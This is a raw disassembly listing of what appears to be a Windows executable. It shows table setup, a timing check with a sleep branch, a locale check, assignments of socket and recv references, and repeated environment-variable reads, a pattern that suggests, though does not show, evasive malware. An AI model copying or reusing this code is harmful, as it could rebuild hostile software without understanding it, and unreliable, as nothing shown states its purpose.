lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x69
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.SHELL32.dll_IsNetDrive
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x69
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d96ec
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x6a
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dc892
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x6a
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c2fa0
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x6a
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.SHELL32.dll_IsNetDrive
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x6a
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cb946
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x6b
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c2ab8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x6b
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c13be
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x6b
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.SHELL32.dll_IsNetDrive
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x6b
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d1d68
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x6c
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c34a2
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x6c
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401cd6ca
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x6c
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.SHELL32.dll_IsNetDrive
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x6c
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401dd2e4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x6d
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401ce3e4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x6d
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c4708
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x6d
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.SHELL32.dll_IsNetDrive
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x6d
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401d9202
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x6e
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c9c0c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x6e
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401ced5a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x6e
mov rbp, rax
push rbp
mov rax, 2
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, reloc.SHELL32.dll_IsNetDrive
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef5ff0]
imul rax, rax, 0x6e
mov rbp, rax
push rbp
mov rax, 3
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef5fe8]
movabs rdx, 0x1401c4ef0
lea rcx, [rbp]
call fcn.1400f2e70
mov r15, qword [0x141ef53e0]
and r15, r15
jle 0x1400072b8
mov rcx, qword [0x141ef53e8]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401c50d0
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
lea rcx, [0x141ef53e8]
pop rdx
call fcn.1400f2fb0
mov rcx, qword [0x141ef53e8]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401ce44a
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
lea rcx, [0x141ef53e8]
pop rdx
call fcn.1400f2fb0
mov qword [0x141ef5668], 0x4cb1
call fcn.1400dde30
mov r15, rax
mov qword [rsp - 8], r15
fild qword [rsp - 8]
fdiv qword [0x1401dd5f8]
fistp qword [0x141ef55d8]
mov r15, qword [0x141ef55d8]
cmp r15, qword [0x141ef5668]
jle 0x140007359
movabs rax, 0x1401db174
push rax
push 0x7d0
pop rcx
pop rdx
call fcn.1400556bc
jmp 0x140012219
mov rcx, qword [0x141ef53e8]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401d4f20
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
mov r15, qword [0x141ef5668]
sub r15, qword [0x141ef55d8]
mov rax, r15
push rax
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400efa70
add rsp, 0x20
pop rax
movabs rcx, 0x1401c994e
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
lea rcx, [0x141ef53e8]
pop rdx
call fcn.1400f2fb0
movabs rdx, 0x1401ca648
lea rcx, [0x141ef57d0]
call fcn.1400f2e70
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
sub rsp, 0x20
call sub.KERNEL32.dll_GetUserDefaultLangID
add rsp, 0x28
mov rax, rax
push rax
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400efad0
add rsp, 0x28
lea rcx, [0x141ef53b8]
pop rdx
call fcn.1400f2fb0
push qword [0x141ef53b8]
pop rcx
call fcn.1400efca0
mov r15, rax
cmp r15, 3
jne 0x1400074c2
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
movabs rcx, 0x1401c2952
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
mov rcx, qword [0x141ef53b8]
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
lea rcx, [0x141ef53b8]
pop rdx
call fcn.1400f2fb0
push qword [0x141ef53b8]
movabs rcx, 0x1401d13f2
pop rdx
call fcn.1400f3090
or rax, rax
je 0x1400074f5
movabs rdx, 0x1401c504c
lea rcx, [0x141ef57d0]
call fcn.1400f2e70
jmp 0x14000750b
movabs rdx, 0x1401ca648
lea rcx, [0x141ef57d0]
call fcn.1400f2e70
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
movabs rcx, 0x1401c1d34
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
mov rcx, qword [0x141ef53e8]
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
lea rcx, [0x141ef5720]
pop rdx
call fcn.1400f2fb0
movabs rdx, 0x1401c4418
lea rcx, [0x141ef5690]
call fcn.1400f2e70
movabs rdx, 0x1401dbea8
lea rcx, [0x141ef5618]
call fcn.1400f2e70
mov qword [0x141ef56c0], 0
mov qword [0x141ef56c8], 0
mov qword [0x141ef5710], 0
mov qword [0x141ef56f8], 0
mov qword [0x141ef5608], 0
mov qword [0x141ef5610], 0
mov qword [0x141ef59f8], 0
movabs rdx, 0x1401c10c4
lea rcx, [0x141ef5480]
call fcn.1400f2e70
movabs rdx, 0x1401d73f4
lea rcx, [0x141ef53f8]
call fcn.1400f2e70
movabs rdx, 0x1401c63ca
lea rcx, [0x141ef57e0]
call fcn.1400f2e70
movabs rdx, 0x1401cbb4e
lea rcx, [0x141ef55b0]
call fcn.1400f2e70
movabs rdx, 0x1401d99ce
lea rcx, [0x141ef5828]
call fcn.1400f2e70
movabs rdx, 0x1401ce8e0
lea rcx, [0x141ef55f0]
call fcn.1400f2e70
movabs rdx, 0x1401dabc2
lea rcx, [0x141ef57c0]
call fcn.1400f2e70
movabs rdx, 0x1401c5f70
lea rcx, [0x141ef5630]
call fcn.1400f2e70
movabs rdx, 0x1401d9e78
lea rcx, [0x141ef5678]
call fcn.1400f2e70
movabs rdx, 0x1401db532
lea rcx, [0x141ef5790]
call fcn.1400f2e70
movabs rdx, 0x1401c76b4
lea rcx, [0x141ef5760]
call fcn.1400f2e70
movabs rdx, 0x1401c912c
lea rcx, [0x141ef5a00]
call fcn.1400f2e70
movabs rdx, 0x1401cb694
lea rcx, [0x141ef5840]
call fcn.1400f2e70
movabs rdx, 0x1401cb8f8
lea rcx, [0x141ef5930]
call fcn.1400f2e70
movabs rdx, 0x1401c9402
lea rcx, [0x141ef54c8]
call fcn.1400f2e70
movabs rdx, 0x1401d7f52
lea rcx, [0x141ef5540]
call fcn.1400f2e70
movabs rdx, 0x1401c4d6e
lea rcx, [0x141ef5680]
call fcn.1400f2e70
movabs rdx, 0x1401c31b2
lea rcx, [0x141ef56e8]
call fcn.1400f2e70
movabs rdx, 0x1401d1b76
lea rcx, [0x141ef58b0]
call fcn.1400f2e70
movabs rdx, 0x1401d0a16
lea rcx, [0x141ef56a0]
call fcn.1400f2e70
movabs rdx, 0x1401caf8c
lea rcx, [0x141ef5478]
call fcn.1400f2e70
movabs rdx, 0x1401cc7d2
lea rcx, [0x141ef5688]
call fcn.1400f2e70
movabs rdx, 0x1401c4524
lea rcx, [0x141ef58f0]
call fcn.1400f2e70
movabs rdx, 0x1401c5b4e
lea rcx, [0x141ef5418]
call fcn.1400f2e70
movabs rdx, 0x1401c4ede
lea rcx, [0x141ef5428]
call fcn.1400f2e70
movabs rdx, 0x1401c1674
lea rcx, [0x141ef59c8]
call fcn.1400f2e70
movabs rdx, 0x1401d90da
lea rcx, [0x141ef57a8]
call fcn.1400f2e70
movabs rdx, 0x1401da4aa
lea rcx, [0x141ef58f8]
call fcn.1400f2e70
movabs rdx, 0x1401d43ba
lea rcx, [0x141ef56e0]
call fcn.1400f2e70
movabs rdx, 0x1401cd992
lea rcx, [0x141ef5650]
call fcn.1400f2e70
movabs rdx, 0x1401dc86c
lea rcx, [0x141ef5588]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [0x141ef5738]
call fcn.1400f2e70
movabs rdx, 0x1401c6fc6
lea rcx, [0x141ef5570]
call fcn.1400f2e70
movabs rdx, 0x1401d7a66
lea rcx, [0x141ef5510]
call fcn.1400f2e70
movabs rdx, 0x1401d662c
lea rcx, [0x141ef54f8]
call fcn.1400f2e70
movabs rdx, 0x1401d9288
lea rcx, [0x141ef5538]
call fcn.1400f2e70
movabs rdx, 0x1401cc40c
lea rcx, [0x141ef5558]
call fcn.1400f2e70
movabs rdx, 0x1401d09da
lea rcx, [0x141ef5918]
call fcn.1400f2e70
movabs rdx, 0x1401d9aca
lea rcx, [0x141ef5770]
call fcn.1400f2e70
mov r9, 7
movabs r8, 0x1401dd6f8
lea rdx, [0x141ef6098]
mov rcx, 0x48
call fcn.1400e9a58
call fcn.140084b88
mov qword [0x141ef5450], rax
movabs rdx, 0x1401c3cc0
lea rcx, [0x141ef5838]
call fcn.1400f2e70
movabs rdx, 0x1401db0b4
lea rcx, [0x141ef5a10]
call fcn.1400f2e70
movabs rdx, 0x1401d8db4
lea rcx, [0x141ef5548]
call fcn.1400f2e70
movabs rdx, 0x1401c1382
lea rcx, [0x141ef5990]
call fcn.1400f2e70
movabs rdx, 0x1401c73c8
lea rcx, [0x141ef5750]
call fcn.1400f2e70
movabs rdx, 0x1401cdbbe
lea rcx, [0x141ef5808]
call fcn.1400f2e70
movabs rdx, 0x1401d0b24
lea rcx, [0x141ef5518]
call fcn.1400f2e70
movabs rdx, 0x1401d3f36
lea rcx, [0x141ef53c0]
call fcn.1400f2e70
movabs rdx, 0x1401d3ff2
lea rcx, [0x141ef5560]
call fcn.1400f2e70
movabs rdx, 0x1401c4918
lea rcx, [0x141ef5420]
call fcn.1400f2e70
movabs rdx, 0x1401dab1c
lea rcx, [0x141ef5600]
call fcn.1400f2e70
movabs rdx, 0x1401c3584
lea rcx, [0x141ef5468]
call fcn.1400f2e70
movabs rdx, 0x1401c3170
lea rcx, [0x141ef5448]
call fcn.1400f2e70
mov qword [0x141ef5998], 0x44c
mov qword [0x141ef5640], 0
movabs rdx, 0x1401c10c4
lea rcx, [0x141ef5798]
call fcn.1400f2e70
push qword [0x141ef57d0]
movabs rcx, 0x1401c504c
pop rdx
call fcn.1400f3090
or rax, rax
je 0x140007dc6
movabs rdx, reloc.WS2_32.dll_select
lea rcx, [0x141ef58c0]
call fcn.1400f2e70
movabs rdx, 0x1401cbf00
lea rcx, [0x141ef53f0]
call fcn.1400f2e70
movabs rdx, 0x1401d30a0
lea rcx, [0x141ef55f8]
call fcn.1400f2e70
movabs rdx, 0x1401d99ba
lea rcx, [0x141ef5850]
call fcn.1400f2e70
movabs rdx, 0x1401ce33c
lea rcx, [0x141ef5938]
call fcn.1400f2e70
movabs rdx, 0x1401c25f2
lea rcx, [0x141ef54b8]
call fcn.1400f2e70
movabs rdx, 0x1401dbfc8
lea rcx, [0x141ef5978]
call fcn.1400f2e70
movabs rdx, 0x1401cdbe8
lea rcx, [0x141ef5458]
call fcn.1400f2e70
movabs rdx, 0x1401cf2d2
lea rcx, [0x141ef5578]
call fcn.1400f2e70
movabs rdx, 0x1401d2586
lea rcx, [0x141ef5748]
call fcn.1400f2e70
movabs rdx, reloc.OLEAUT32.dll_SafeArrayGetLBound
lea rcx, [0x141ef5728]
call fcn.1400f2e70
movabs rdx, reloc.WS2_32.dll_socket
lea rcx, [0x141ef5638]
call fcn.1400f2e70
movabs rdx, 0x1401dce4c
lea rcx, [0x141ef5880]
call fcn.1400f2e70
movabs rdx, 0x1401d461c
lea rcx, [0x141ef5520]
call fcn.1400f2e70
movabs rdx, 0x1401c9e82
lea rcx, [0x141ef5870]
call fcn.1400f2e70
movabs rdx, 0x1401cddf4
lea rcx, [0x141ef5528]
call fcn.1400f2e70
movabs rdx, reloc.WS2_32.dll_socket
lea rcx, [0x141ef5778]
call fcn.1400f2e70
movabs rdx, reloc.WS2_32.dll_socket
lea rcx, [0x141ef58b8]
call fcn.1400f2e70
movabs rdx, 0x1401d8f58
lea rcx, [0x141ef5898]
call fcn.1400f2e70
movabs rdx, reloc.WS2_32.dll_recv
lea rcx, [0x141ef5788]
call fcn.1400f2e70
movabs rdx, 0x1401d4f7c
lea rcx, [0x141ef55d0]
call fcn.1400f2e70
movabs rdx, 0x1401c5096
lea rcx, [0x141ef5718]
call fcn.1400f2e70
movabs rdx, 0x1401c1448
lea rcx, [0x141ef55e0]
call fcn.1400f2e70
movabs rdx, 0x1401d38c6
lea rcx, [0x141ef5868]
call fcn.1400f2e70
movabs rdx, 0x1401ca608
lea rcx, [0x141ef54d8]
call fcn.1400f2e70
movabs rdx, reloc.WS2_32.dll_select
lea rcx, [0x141ef5508]
call fcn.1400f2e70
movabs rdx, 0x1401c5dde
lea rcx, [0x141ef5948]
call fcn.1400f2e70
movabs rdx, 0x1401d3a9e
lea rcx, [0x141ef58a0]
call fcn.1400f2e70
movabs rdx, 0x1401cc3d0
lea rcx, [0x141ef5470]
call fcn.1400f2e70
movabs rdx, 0x1401c2a0c
lea rcx, [0x141ef5960]
call fcn.1400f2e70
movabs rdx, 0x1401dd426
lea rcx, [0x141ef5658]
call fcn.1400f2e70
movabs rdx, reloc.WS2_32.dll_select
lea rcx, [0x141ef59e8]
call fcn.1400f2e70
movabs rdx, 0x1401d65a2
lea rcx, [0x141ef58a8]
call fcn.1400f2e70
movabs rdx, reloc.WS2_32.dll_select
lea rcx, [0x141ef56b0]
call fcn.1400f2e70
movabs rdx, reloc.WS2_32.dll_socket
lea rcx, [0x141ef5878]
call fcn.1400f2e70
jmp 0x14000809c
movabs rdx, 0x1401c1c04
lea rcx, [0x141ef58c0]
call fcn.1400f2e70
movabs rdx, 0x1401cbf00
lea rcx, [0x141ef53f0]
call fcn.1400f2e70
movabs rdx, 0x1401c7cca
lea rcx, [0x141ef55f8]
call fcn.1400f2e70
movabs rdx, 0x1401dd36e
lea rcx, [0x141ef5850]
call fcn.1400f2e70
movabs rdx, reloc.msi.dll_MsiGetPropertyW
lea rcx, [0x141ef5938]
call fcn.1400f2e70
movabs rdx, 0x1401c3488
lea rcx, [0x141ef54b8]
call fcn.1400f2e70
movabs rdx, 0x1401c999c
lea rcx, [0x141ef5978]
call fcn.1400f2e70
movabs rdx, 0x1401c991e
lea rcx, [0x141ef5458]
call fcn.1400f2e70
movabs rdx, 0x1401cb4c8
lea rcx, [0x141ef5578]
call fcn.1400f2e70
movabs rdx, 0x1401c1e82
lea rcx, [0x141ef5748]
call fcn.1400f2e70
movabs rdx, 0x1401c3a84
lea rcx, [0x141ef5728]
call fcn.1400f2e70
movabs rdx, 0x1401d3080
lea rcx, [0x141ef5638]
call fcn.1400f2e70
movabs rdx, 0x1401d3be0
lea rcx, [0x141ef5880]
call fcn.1400f2e70
movabs rdx, 0x1401cf3fc
lea rcx, [0x141ef5520]
call fcn.1400f2e70
movabs rdx, 0x1401db6e2
lea rcx, [0x141ef5870]
call fcn.1400f2e70
movabs rdx, 0x1401dbdcc
lea rcx, [0x141ef5528]
call fcn.1400f2e70
movabs rdx, 0x1401c6b6a
lea rcx, [0x141ef5778]
call fcn.1400f2e70
movabs rdx, 0x1401d3080
lea rcx, [0x141ef58b8]
call fcn.1400f2e70
movabs rdx, 0x1401d28ca
lea rcx, [0x141ef5898]
call fcn.1400f2e70
movabs rdx, 0x1401c6c20
lea rcx, [0x141ef5788]
call fcn.1400f2e70
movabs rdx, 0x1401d3240
lea rcx, [0x141ef55d0]
call fcn.1400f2e70
movabs rdx, 0x1401d1b46
lea rcx, [0x141ef5718]
call fcn.1400f2e70
movabs rdx, 0x1401c5052
lea rcx, [0x141ef55e0]
call fcn.1400f2e70
movabs rdx, 0x1401c595e
lea rcx, [0x141ef5868]
call fcn.1400f2e70
movabs rdx, 0x1401c5236
lea rcx, [0x141ef54d8]
call fcn.1400f2e70
movabs rdx, 0x1401d4106
lea rcx, [0x141ef58a0]
call fcn.1400f2e70
movabs rdx, reloc.msi.dll_MsiGetPropertyW
lea rcx, [0x141ef5470]
call fcn.1400f2e70
movabs rdx, 0x1401cdca6
lea rcx, [0x141ef5960]
call fcn.1400f2e70
movabs rdx, 0x1401d5ce8
lea rcx, [0x141ef5658]
call fcn.1400f2e70
movabs rdx, 0x1401d41ca
lea rcx, [0x141ef59e8]
call fcn.1400f2e70
movabs rdx, 0x1401db7f8
lea rcx, [0x141ef58a8]
call fcn.1400f2e70
movabs rdx, 0x1401cfe7c
lea rcx, [0x141ef56b0]
call fcn.1400f2e70
movabs rdx, 0x1401c1f74
lea rcx, [0x141ef5878]
call fcn.1400f2e70
mov rcx, qword [0x141ef5720]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
lea rcx, [0x141ef54f0]
pop rdx
call fcn.1400f2fb0
mov rcx, qword [0x141ef5978]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
lea rcx, [0x141ef5920]
pop rdx
call fcn.1400f2fb0
mov rcx, qword [0x141ef5578]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
lea rcx, [0x141ef5928]
pop rdx
call fcn.1400f2fb0
movabs rdx, 0x1401c10c4
lea rcx, [0x141ef5a18]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [0x141ef58d8]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [0x141ef59a8]
call fcn.1400f2e70
call fcn.14007e6f5
mov qword [0x141ef5430], 0xffffffffffffffff
mov qword [0x141ef5740], 0
mov qword [0x141ef5500], 0
mov qword [0x141ef55b8], 0
mov qword [0x141ef5988], 0
mov qword [0x141ef5980], 0
mov qword [0x141ef5700], 0
mov qword [0x141ef5a08], 0
movabs rdx, 0x1401c10c4
lea rcx, [0x141ef54a8]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [0x141ef56d8]
call fcn.1400f2e70
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push 0x3e8
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400efa10
add rsp, 0x28
lea rcx, [0x141ef5910]
pop rdx
call fcn.1400f2fb0
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push rcx
sub rsp, 0x20
call fcn.1400f2f60
add rsp, 0x20
pop rcx
push rax
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
pop rcx
sub rsp, 0x20
call fcn.1400a2b8c
add rsp, 0x20
push rax
call fcn.1400f3190
mov rdx, rax
pop rax
add qword [rsp], rdx
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400d98c4
add rsp, 0x28
lea rcx, [0x141ef59f0]
pop rdx
call fcn.1400f2fb0
mov rcx, qword [0x141ef59f0]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
movabs rcx, 0x1401c4a38
sub rsp, 0x28
call fcn.1400f30f0
add rsp, 0x28
lea rcx, [0x141ef56a8]
pop rdx
call fcn.1400f2fb0
movabs rdx, 0x1401c10c4
lea rcx, [0x141ef5598]
call fcn.1400f2e70
movabs rdx, 0x1401db7e0
lea rcx, [0x141ef5970]
call fcn.1400f2e70
movabs rdx, 0x1401c10c4
lea rcx, [0x141ef5818]
call fcn.1400f2e70
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push 0xc8
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400efa10
add rsp, 0x28
lea rcx, [0x141ef5820]
pop rdx
call fcn.1400f2fb0
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push 0xc8
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400efa10
add rsp, 0x28
lea rcx, [0x141ef59a0]
pop rdx
call fcn.1400f2fb0
push 0xc8
mov rax, qword [0x141ef5820]
mov rax, rax
push rax
movabs rax, 0x1401dbc66
push rax
pop rcx
pop rdx
pop r8
call sub.KERNEL32.dll_GetEnvironmentVariableW
push 0xc8
mov rax, qword [0x141ef59a0]
mov rax, rax
push rax
movabs rax, 0x1401cfc98
push rax
pop rcx
pop rdx
pop r8
call sub.KERNEL32.dll_GetEnvironmentVariableW
push 0x3e8
mov rax, qword [0x141ef5910]
mov rax, rax
push rax
movabs rax, 0x1401db528
push rax
pop rcx
pop rdx
pop r8
call sub.KERNEL32.dll_GetEnvironmentVariableW
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push 0x3e8
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400efa10
add rsp, 0x28
lea rcx, [0x141ef59d0]
pop rdx
call fcn.1400f2fb0
push 0x3e8
mov rax, qword [0x141ef59d0]
mov rax, rax
push rax
movabs rax, 0x1401c9982
push rax
pop rcx
pop rdx
pop r8
call sub.KERNEL32.dll_GetEnvironmentVariableW
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push 0x3e8
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400efa10
add rsp, 0x28
lea rcx, [0x141ef57b8]
pop rdx
call fcn.1400f2fb0
push 0x3e8
mov rax, qword [0x141ef57b8]
mov rax, rax
push rax
movabs rax, 0x1401d031c
push rax
pop rcx
pop rdx
pop r8
call sub.KERNEL32.dll_GetEnvironmentVariableW
mov qword [0x141ef57e8], 0
mov qword [0x141ef5670], 0
mov qword [0x141ef5530], 0
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push 0x3e8
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400efa10
add rsp, 0x28
lea rcx, [0x141ef5968]
pop rdx
call fcn.1400f2fb0
push 0x3e8
mov rax, qword [0x141ef5968]
mov rax, rax
push rax
movabs rax, 0x1401d230c
push rax
pop rcx
pop rdx
pop r8
call sub.KERNEL32.dll_GetEnvironmentVariableW
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push 0x3e8
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400efa10
add rsp, 0x28
lea rcx, [0x141ef5438]
pop rdx
call fcn.1400f2fb0
push 0x3e8
mov rax, qword [0x141ef5438]
mov rax, rax
push rax
movabs rax, 0x1401d230c
push rax
pop rcx
pop rdx
pop r8
call sub.KERNEL32.dll_GetEnvironmentVariableW
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
push 0x64
pop rcx
pop rdx
sub rsp, 0x20
call fcn.1400efa10
add rsp, 0x28
lea rcx, [0x141ef53c8]
pop rdx
call fcn.1400f2fb0
push 0x64
mov rax, qword [0x141ef53c8]
mov rax, rax
push rax
movabs rax, 0x1401c9eec
push rax
pop rcx
pop rdx
pop r8
call sub.KERNEL32.dll_GetEnvironmentVariableW
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
pop rcx
push rax
sub rsp, 8
mov rcx, qword [0x141ef5968]
push rcx
sub rsp, 0x28
call fcn.1400f2f60
add rsp, 0x28
